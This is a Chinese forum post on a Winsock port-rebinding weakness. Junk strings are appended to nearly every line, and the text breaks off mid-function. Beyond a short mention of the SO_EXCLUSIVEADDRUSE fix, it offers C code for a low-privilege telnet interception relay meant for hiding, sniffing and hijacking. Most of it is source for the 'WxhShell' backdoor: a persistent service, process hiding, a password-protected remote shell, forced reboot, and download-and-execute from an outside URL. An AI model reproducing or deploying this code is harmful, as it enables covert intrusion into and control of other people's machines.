社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 14466阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )Fe6>tE  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); SZVNu*G!H  
wm1`<r^M.  
  saddr.sin_family = AF_INET; pxf(C<y6_  
"cJ))v-'  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \gz(C`4{j  
&6 ymGo  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "==fWf  
An0Dq jR  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8PKUg "p  
ZLP)i;Az  
  这意味着什么?意味着可以进行如下的攻击: EKQ\MC1  
1 8*M  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %5g(|Y]  
244[a] %&;  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) SSr#MIS?  
Jcy{ ~>@7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "2l$}G  
+( Q$GO%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  r6WSX;K  
azK7kM~  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7~zd % o  
#BLx +mLq  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *'i9  
.ei5+?V<i  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `jHbA#sO  
.}n-N #  
  #include %XC3V7  
  #include p<Oz"6_/~  
  #include gT-"=AsxZQ  
  #include    gZf8/Tp\z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,1K`w:uhS  
  int main() <%Al(Lm0  
  { * :kMv;9  
  WORD wVersionRequested; qr@ <'wp/  
  DWORD ret; I4"(4u@P  
  WSADATA wsaData; ,K W IuCU;  
  BOOL val; W9D~:>^YP  
  SOCKADDR_IN saddr; K[q{)>,9  
  SOCKADDR_IN scaddr; m7#v2:OD+  
  int err; u7/]Go44  
  SOCKET s; ljP<WD  
  SOCKET sc; btR~LJb  
  int caddsize; {j8M78}3  
  HANDLE mt; o#K*-jOfiH  
  DWORD tid;   4JO[yN  
  wVersionRequested = MAKEWORD( 2, 2 ); goqm6L^Cu  
  err = WSAStartup( wVersionRequested, &wsaData ); Ur9L8EdC  
  if ( err != 0 ) { y*#YIS56I  
  printf("error!WSAStartup failed!\n"); FP<mFqy  
  return -1; d-cW47  
  } ^wIg|Gc  
  saddr.sin_family = AF_INET; OLZs}N+;]  
   koa-sy)#L  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 IZ_?1%q>}  
fZiwuq !_  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); j  Gp&P  
  saddr.sin_port = htons(23); HcQ)XJPK  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ' ~ 1/*F%8  
  { -#Ys67,4N  
  printf("error!socket failed!\n"); XI+GWNAmJ  
  return -1; d:Oo5t)MN  
  } eg1Mdg\a  
  val = TRUE; o1Krp '*  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 d{Cg3v`Rd  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) IhHKRb[  
  { Lz&FywF-l  
  printf("error!setsockopt failed!\n"); eiQ42x@Z  
  return -1; $ ~%w21?&  
  } c'INmc I|  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; MCAWn H  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `>- 56 %  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 D<g d)  
J=J!)\m  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^ 4Uk'T7V  
  { ;efF]")  
  ret=GetLastError(); jmG)p|6  
  printf("error!bind failed!\n"); D}`MY\H  
  return -1; pr[V*C/  
  } zZW5M^z8  
  listen(s,2); Nwo*tb:  
  while(1) +|--}iE5n  
  { X%$1%)C9  
  caddsize = sizeof(scaddr); vaLP_V  
  //接受连接请求 p}Um+I=1  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); B7wzF"  
  if(sc!=INVALID_SOCKET) 29^(weT"]  
  { e'sS",o*  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?kK3%uJy&  
  if(mt==NULL) {9FL}Jrt  
  { _^g4/G#13c  
  printf("Thread Creat Failed!\n"); h[;DRD!Z  
  break; )KY4BBc  
  } t`Rbn{   
  } h$XoR0  
  CloseHandle(mt); `-.6;T}2U  
  } D_?dy4\  
  closesocket(s); 82 dmlPwJC  
  WSACleanup(); :NL[NbQYt  
  return 0; #uV J  
  }   ?[|A sw1t  
  DWORD WINAPI ClientThread(LPVOID lpParam) "(iDUl  
  {  au]W*;x  
  SOCKET ss = (SOCKET)lpParam; $:yIe.F  
  SOCKET sc; vJ{F)0 K  
  unsigned char buf[4096]; F1S0C>N?5  
  SOCKADDR_IN saddr; 1(pv 3  
  long num; rp4{lHw>C/  
  DWORD val; aCJ-T8?'  
  DWORD ret; @ULd~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 (-],VB (+  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ]T{v~]7:{  
  saddr.sin_family = AF_INET; k8!:`jG  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,rjl|F* T  
  saddr.sin_port = htons(23); 2*< PmKI  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dV{mmHL  
  { H& $M/`  
  printf("error!socket failed!\n");  6HPuCP  
  return -1; LLFQ5py{  
  } * H~=dPC  
  val = 100; P 'o]#Az  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) HRyhq ;C  
  { p({Lp}'  
  ret = GetLastError(); `Hq*l"8  
  return -1; j"jQiL_*  
  } xLb=^Xjec  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (5A8#7a  
  { M?=I{}!@Q  
  ret = GetLastError(); Fn0 |v66  
  return -1; 6b%IPbb  
  } ?LJiFG]^m  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) x+TdTe;p  
  { da~_(giD*  
  printf("error!socket connect failed!\n"); G^cMY$?99  
  closesocket(sc); /;T tMQt  
  closesocket(ss); cNikLd~?A  
  return -1; >5E1y!  
  } ;W|GUmADf  
  while(1) R! n7g8I%  
  { 89j:YfA=v  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Q3Z?Z;2aR  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 N ]14~r=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,c0t#KgQ.  
  num = recv(ss,buf,4096,0); ZNl1e'  
  if(num>0) Vc6 >i|"-O  
  send(sc,buf,num,0); +* F e   
  else if(num==0) D>^g2!b:  
  break; l D->1=z  
  num = recv(sc,buf,4096,0); ^QjkZ^<dD  
  if(num>0) 4e?bkC  
  send(ss,buf,num,0); H DD)AM&p  
  else if(num==0) &EYoviFp  
  break; >j7]gi(  
  } t3g+>U_m  
  closesocket(ss); .beqfcj"  
  closesocket(sc); TyA1Qk\  
  return 0 ; BR-wL3x b  
  } p5py3k  
)*R';/zaI  
M IyT9",Pl  
========================================================== ,6#%+u}f  
WJ)4rQ$o  
下边附上一个代码,,WXhSHELL .LDp.#d9r1  
LitdO>%#2  
========================================================== k ]T  
Kv:Rvo  
#include "stdafx.h" +sTPTCLE  
= y(*?TZH  
#include <stdio.h> H+5+;`;  
#include <string.h> Q1{9>NI  
#include <windows.h> FA\U4l-  
#include <winsock2.h> ,`OQAJ)>  
#include <winsvc.h> 4;>HBCM4-  
#include <urlmon.h> oX*;iS X  
lWd@  
#pragma comment (lib, "Ws2_32.lib") ,jtaTG.>  
#pragma comment (lib, "urlmon.lib") +Wgfxk'{  
>)u{%@Rcy{  
#define MAX_USER   100 // 最大客户端连接数 8^D1u`  
#define BUF_SOCK   200 // sock buffer ]5K(}95&'  
#define KEY_BUFF   255 // 输入 buffer <`G-_VI  
+S+=lu _  
#define REBOOT     0   // 重启 FC~%G&K/q^  
#define SHUTDOWN   1   // 关机 FV3[7w=D\  
:>o 0zG[;f  
#define DEF_PORT   5000 // 监听端口 7 , _b  
>]%$lSCW\D  
#define REG_LEN     16   // 注册表键长度 WbBd<^Q  
#define SVC_LEN     80   // NT服务名长度 +V9xKhR;x  
-j2y#aP  
// 从dll定义API ?=^\kXc[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w(z=xO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &r*F+gL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ASrRMH[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); XN>bv|*q  
Wv9L }@J  
// wxhshell配置信息 I.(@#v7T  
struct WSCFG { ?E(X>tH  
  int ws_port;         // 监听端口 r{84Y!k~*  
  char ws_passstr[REG_LEN]; // 口令 `@WJ_-$#  
  int ws_autoins;       // 安装标记, 1=yes 0=no $o;c:Kh$$  
  char ws_regname[REG_LEN]; // 注册表键名 >dJ~  
  char ws_svcname[REG_LEN]; // 服务名 :<k (y?GB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ](8F]J ,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 F u^j- Io  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [~RO9=;L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no e=s85!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C^;8M'8z0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1E'PSq  
cDzb}W*UM  
}; l 9g  
I"x~ 7  
// default Wxhshell configuration osd oL  
struct WSCFG wscfg={DEF_PORT, oyY z3X  
    "xuhuanlingzhe", VCiq'LOR,<  
    1, @D=%J!!*  
    "Wxhshell", <1Sj_HCT  
    "Wxhshell", /988K-5k  
            "WxhShell Service", '6e4rn{  
    "Wrsky Windows CmdShell Service", )G?\{n-  
    "Please Input Your Password: ", *RVCz|0%w  
  1, *5*#Z~dut8  
  "http://www.wrsky.com/wxhshell.exe", ]4V1]  
  "Wxhshell.exe" ,b IJW]h0  
    }; #"?pY5 ("  
' Q(kx*;  
// 消息定义模块 surNJ,)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9wGsHf8]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Eu "8IM!%-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +]( y  
char *msg_ws_ext="\n\rExit."; NWPT89@l  
char *msg_ws_end="\n\rQuit."; g6P^JW}.  
char *msg_ws_boot="\n\rReboot..."; {^(uoB C/  
char *msg_ws_poff="\n\rShutdown..."; j (Q# NFT7  
char *msg_ws_down="\n\rSave to "; OI"g-+~  
~m,~;  
char *msg_ws_err="\n\rErr!"; h(~/JW[  
char *msg_ws_ok="\n\rOK!"; )"hd"  
-y|']I^ &  
char ExeFile[MAX_PATH]; jAue+ tB  
int nUser = 0; )!cucY  
HANDLE handles[MAX_USER]; CDXN%~0h  
int OsIsNt; T0"nzukd  
>3B {sn}  
SERVICE_STATUS       serviceStatus; 7CSz  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Bos} `S![  
"\`Fu  
// 函数声明 2p#d  
int Install(void); 5@ td0  
int Uninstall(void); :t9![y[=|  
int DownloadFile(char *sURL, SOCKET wsh); t']/2m.&p  
int Boot(int flag); ^ <`SUBI  
void HideProc(void); vV$^`WY4  
int GetOsVer(void); TOKt{`2}  
int Wxhshell(SOCKET wsl); _e ;b B?S  
void TalkWithClient(void *cs); *{j;LA.BR#  
int CmdShell(SOCKET sock); 67&Q<`V1*q  
int StartFromService(void); DNqV]N_W  
int StartWxhshell(LPSTR lpCmdLine); )V>zXy}Y  
do.>Y}d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ::iYydpM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4F0w+w JD  
7UG c2J  
// 数据结构和表定义 77sG;8HE  
SERVICE_TABLE_ENTRY DispatchTable[] = +Yq?:uBV  
{ W94u7a  
{wscfg.ws_svcname, NTServiceMain}, .d[ ^&<^  
{NULL, NULL} dTCLE t.  
}; rr\9HA  
m9sck:g#L1  
// 自我安装 9a`~ K L  
int Install(void) #W|Obc]K  
{ skan1wQ  
  char svExeFile[MAX_PATH]; RMpiwO^  
  HKEY key; :<{ 15:1  
  strcpy(svExeFile,ExeFile); WN%,   
GHn0(o&K  
// 如果是win9x系统,修改注册表设为自启动 0V]MAuD($  
if(!OsIsNt) { Qbjm,>H/^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1y6<gptx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hEZo{0:b"  
  RegCloseKey(key); 9I [:#,zdf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 50Gu~No6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !\d~9H%`B  
  RegCloseKey(key); ^>!&]@  
  return 0; @M-Q|  
    } K0C"s 'q  
  } k}E_1_S(  
} 0F![<5X  
else { qNHI$r'  
LEtGrA/%@b  
// 如果是NT以上系统,安装为系统服务 ~,KrL(jC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %3TioM[B  
if (schSCManager!=0) tWzBQx   
{ Cg~1<J?2  
  SC_HANDLE schService = CreateService oq,nfUA  
  ( ni2 [K`  
  schSCManager, dMsS OP0E  
  wscfg.ws_svcname, fJ5mKN  
  wscfg.ws_svcdisp, .57F h)Y  
  SERVICE_ALL_ACCESS, "q=ss:(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?SO!INJ  
  SERVICE_AUTO_START, zh=0zJ  
  SERVICE_ERROR_NORMAL, M=ag\1S&ZF  
  svExeFile,  "$J5cco  
  NULL, Yy]TU} PY  
  NULL, |.yS~XFJS  
  NULL, _[(EsIqc(F  
  NULL, Pw]r&)I`y[  
  NULL lfCr `[!E  
  ); ;/wH/!b  
  if (schService!=0) z^T;d^OJc  
  { nHDKe )V  
  CloseServiceHandle(schService); IgwHC0W  
  CloseServiceHandle(schSCManager); C@]D*k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +HWFoK  
  strcat(svExeFile,wscfg.ws_svcname); FNOsw\Bo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5bXpj86mY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); P2`F" Qsq  
  RegCloseKey(key); (;05=DsO  
  return 0; WoB'B|%  
    } H<q|je}e  
  } I9aiAD0s  
  CloseServiceHandle(schSCManager); !t~tIJ>6  
} L aA<`  
} Hhk`yX c_  
s?S e]?i  
return 1; F @Wi[K  
} <o3I<ci6  
FJ!`[.t1AU  
// 自我卸载 M;3q.0MU  
int Uninstall(void) pp1Kor  
{ sUmpf4/  
  HKEY key; ,?qJAV~>  
]}l.*v\uK  
if(!OsIsNt) { j1->w8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W+=j@JY}q9  
  RegDeleteValue(key,wscfg.ws_regname); n{~&^Nby*I  
  RegCloseKey(key); {jR3D!hK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j r .{M  
  RegDeleteValue(key,wscfg.ws_regname); d_&pxy? >  
  RegCloseKey(key); o+ {i26%  
  return 0; '~f*O0_  
  } Ei+lVLoC  
} ht6}v<x.eA  
} 6(htpT%J  
else { CKe72OC  
HN/YuP03[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NYg&8s.  
if (schSCManager!=0) m8F \ESL  
{ e]; IQ|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |E$q S)y  
  if (schService!=0) >c Tt2v  
  { 3$K[(>s  
  if(DeleteService(schService)!=0) { [okV[7  
  CloseServiceHandle(schService); Kx,X{$Pe  
  CloseServiceHandle(schSCManager); s m G?y~  
  return 0; TxN+-< f  
  } WL'!M&h  
  CloseServiceHandle(schService); dQ_'8 )  
  } N M),2%<  
  CloseServiceHandle(schSCManager); hSAI G  
} <jYyA]Zy5  
} Pj g#  
('j'>"1H  
return 1; jpR]V86G  
} 9fTl6?x  
1>OU~A"  
// 从指定url下载文件 QZ7W:%r(4  
int DownloadFile(char *sURL, SOCKET wsh) ?y>v"1+  
{ fy$CtQM  
  HRESULT hr; HpUJ_pZ  
char seps[]= "/"; (;9fkqm%m  
char *token; K%t&a RjS  
char *file; ouoIbA9X  
char myURL[MAX_PATH]; pjV70D8$A  
char myFILE[MAX_PATH]; 4$N,|bt  
/FW$)w2{j  
strcpy(myURL,sURL); 2Q%M2Ua  
  token=strtok(myURL,seps); 7J$rA.tu  
  while(token!=NULL) (M{wkQTO  
  { |d6/gSiF  
    file=token; ;O,&MR{;|n  
  token=strtok(NULL,seps); =)i^E9  
  } Y Kp@ n8A  
+ >:}   
GetCurrentDirectory(MAX_PATH,myFILE); (=gqqOOl~  
strcat(myFILE, "\\"); o@j!JI&  
strcat(myFILE, file); 'h~IbP  
  send(wsh,myFILE,strlen(myFILE),0); Wie0r@5E  
send(wsh,"...",3,0); F2<Q~gQ;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (8o;Cm  
  if(hr==S_OK) SLNOOEN  
return 0; P$AHw;n[R  
else &A/b9GW^-  
return 1; 7OXRR)]V  
=*+f2  
} Iw#[K  
<bhJ>  
// 系统电源模块 PV=sqLM~  
int Boot(int flag) &n83>Q  
{ RCK*?\m5  
  HANDLE hToken; Y}yh6r;i  
  TOKEN_PRIVILEGES tkp; 3w[uc~f  
|@R/JGB^  
  if(OsIsNt) { &lzCRRnvt  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); tN.BI1nB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mN R}%s  
    tkp.PrivilegeCount = 1; g}9heR  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [6.<#_~{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); km lb,P  
if(flag==REBOOT) { a #p`l>rx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X ) =-a  
  return 0; aGE} EK}  
} KiC,O7&<  
else { c1*^ \   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /9P7;1?  
  return 0; _wW"Tn]  
} $mf6!p4  
  } ci 22fw0  
  else { m<cv3dbZo  
if(flag==REBOOT) { Xfg?\j/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^y|`\oyqwN  
  return 0; [fkt3fS  
} * "?,.  
else { a~-k} G5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B4m34)EOE  
  return 0; 7(LB}  
} OH 88d:  
} W7~OU(}[`  
B&*`A&^y  
return 1; SEZ08:>x r  
} '=K~M  
XwU1CejP0  
// win9x进程隐藏模块 4}YHg&@\d%  
void HideProc(void) !g~u'r'1  
{ EzCi%>q  
}1sd<<\`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); su8()]|0x  
  if ( hKernel != NULL ) d,j)JnY3V  
  { gG(9&}@(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "Q tkNy%E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \[B#dw#  
    FreeLibrary(hKernel); /KO2y0`  
  } ?i~mt'O  
7~D5Gy  
return; =}SC .E\  
} "!Hm.^1  
Q 9JT6  
// 获取操作系统版本 zj1_#=]  
int GetOsVer(void) pM!cF  
{ <2I<Z'B,e  
  OSVERSIONINFO winfo; +6<g N[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); reoCyP\!!  
  GetVersionEx(&winfo); }.<]A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s8r[U, }(  
  return 1; }\ya6Gi8  
  else R}OjSiS\  
  return 0; w~e$ul(IQM  
} 6ZGw 3p)  
5@i(pVWZ  
// 客户端句柄模块 r"KW\HN8  
int Wxhshell(SOCKET wsl) C7 9~@%T  
{ Rd1I$| Y  
  SOCKET wsh; {8~xFYc:  
  struct sockaddr_in client; !OR %AdxB  
  DWORD myID; 0'`#I  
Reg%ah|$/=  
  while(nUser<MAX_USER) R&L^+?  
{ ,L(q/#p  
  int nSize=sizeof(client); G\r>3Ys  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t@BhosR-  
  if(wsh==INVALID_SOCKET) return 1; c 9zMI  
k3e?:t 9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rPJbbV",+^  
if(handles[nUser]==0) a  ,<u  
  closesocket(wsh); uup>WW  
else (n@&M!a  
  nUser++; FWpb5jc)3  
  } 6 &MATMR  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); nrz2f7d$  
59a7%w  
  return 0; Jn1(-  
} vnv:YQV/ir  
2&:w_KJ  
// 关闭 socket t^<ki?*  
void CloseIt(SOCKET wsh) Q\Nz^~dQ:Y  
{ >xm:?WR  
closesocket(wsh); Eg]tDPN1  
nUser--; #)<WQZ)  
ExitThread(0); "3uPK$  
} SBG.t:  
Lq5Eu$;r  
// 客户端请求句柄 zT _[pa)O`  
void TalkWithClient(void *cs) 77zDHq=  
{ rqi|8gKY  
9$N~OZ;-*x  
  SOCKET wsh=(SOCKET)cs; ?_G?SQ  
  char pwd[SVC_LEN]; P%kJq^&  
  char cmd[KEY_BUFF]; vA@\V)s  
char chr[1]; EY.Z.gMZI(  
int i,j; @ u2 P&|:{  
lRA!  
  while (nUser < MAX_USER) { 83gp'W{|  
2S_7!|j  
if(wscfg.ws_passstr) { VaFv%%w  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K<D=QweOon  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mMtX:  
  //ZeroMemory(pwd,KEY_BUFF); Bez 7  
      i=0; ~HyqHx y  
  while(i<SVC_LEN) { t3FfPV!P"  
bl`vT3  
  // 设置超时 >{w"aJ" F  
  fd_set FdRead; #F|w_P  
  struct timeval TimeOut; 8j&LU,  
  FD_ZERO(&FdRead); CXhE+oS5z'  
  FD_SET(wsh,&FdRead); :~dI2e\:  
  TimeOut.tv_sec=8; $_0~Jzt,  
  TimeOut.tv_usec=0; Ni) /L( &  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SRpPLY{:F  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *lws7R  
jM|-(Es. )  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `F TA{ba  
  pwd=chr[0]; Umt?COc  
  if(chr[0]==0xd || chr[0]==0xa) { Ok6c E  
  pwd=0; /?g:`NT  
  break; ;chz};zY  
  } fp2.2 @[  
  i++; vB9v8@[I&  
    } 9Fv VM9  
CYWL@<p,  
  // 如果是非法用户,关闭 socket ;Jq 7E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C@Fk  
} 2n8spLZYGY  
is [p7-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WT9 k85hqj  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W|aFEY  
Y< drRK!  
while(1) { 2wki21oY  
)kiC/Y}k  
  ZeroMemory(cmd,KEY_BUFF); V]$J&aD  
UL   
      // 自动支持客户端 telnet标准   uzpW0(_i3a  
  j=0; ",gWO 8T  
  while(j<KEY_BUFF) { nVVQ^i}`G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kX)Xo`^Ys  
  cmd[j]=chr[0]; l;C00ZBOc  
  if(chr[0]==0xa || chr[0]==0xd) { )$_b?  
  cmd[j]=0; ^dF?MQA<@  
  break; CHPu$eu  
  } OLS.0UEc  
  j++; a J&)-ge  
    } i{ " g 7  
HMymoh$Q  
  // 下载文件 K4\#b}P!  
  if(strstr(cmd,"http://")) { L)`SNN\ipR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +jPs0?}s  
  if(DownloadFile(cmd,wsh)) o2C{V1nB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); / .ddx<  
  else ~Kr_[X:d5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]a}K%D)H  
  } g_l=z`,8  
  else { <:rbK9MIl  
gLyE,1Z}u  
    switch(cmd[0]) { "`jey)&H*M  
  2# y!(D8  
  // 帮助 /d\#|[S  
  case '?': { Pl}>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u\9t+wi}<  
    break; vCB0 x:/  
  } 4._ U  
  // 安装 .(7 end<  
  case 'i': { eiJ 13`T  
    if(Install()) hZ ve8J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X{j`H\'L  
    else Gidh7x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2tq~NA\#t  
    break; 0"*!0s ~  
    } 1+f>tv  
  // 卸载 U;l!.mze  
  case 'r': {  9z9EK'g  
    if(Uninstall()) EPE9HvN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B`Q~p 92  
    else xM dbS4&!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jgfl|;I?pg  
    break; U49#?^?  
    } L1'#wH  
  // 显示 wxhshell 所在路径 _wC4n }J  
  case 'p': { X~`<ik{q  
    char svExeFile[MAX_PATH]; iL%Q@!ka  
    strcpy(svExeFile,"\n\r"); 'D B4po.   
      strcat(svExeFile,ExeFile); 01 vEt  
        send(wsh,svExeFile,strlen(svExeFile),0); /n9yv  
    break; Fjc4[ C  
    } s C/5N  
  // 重启 "o=*f/M  
  case 'b': { HH\6gs]u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7(q EHZEr  
    if(Boot(REBOOT)) lO Rym:P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MS Ml  
    else { yK$.wd 2,  
    closesocket(wsh); M7\; Y  
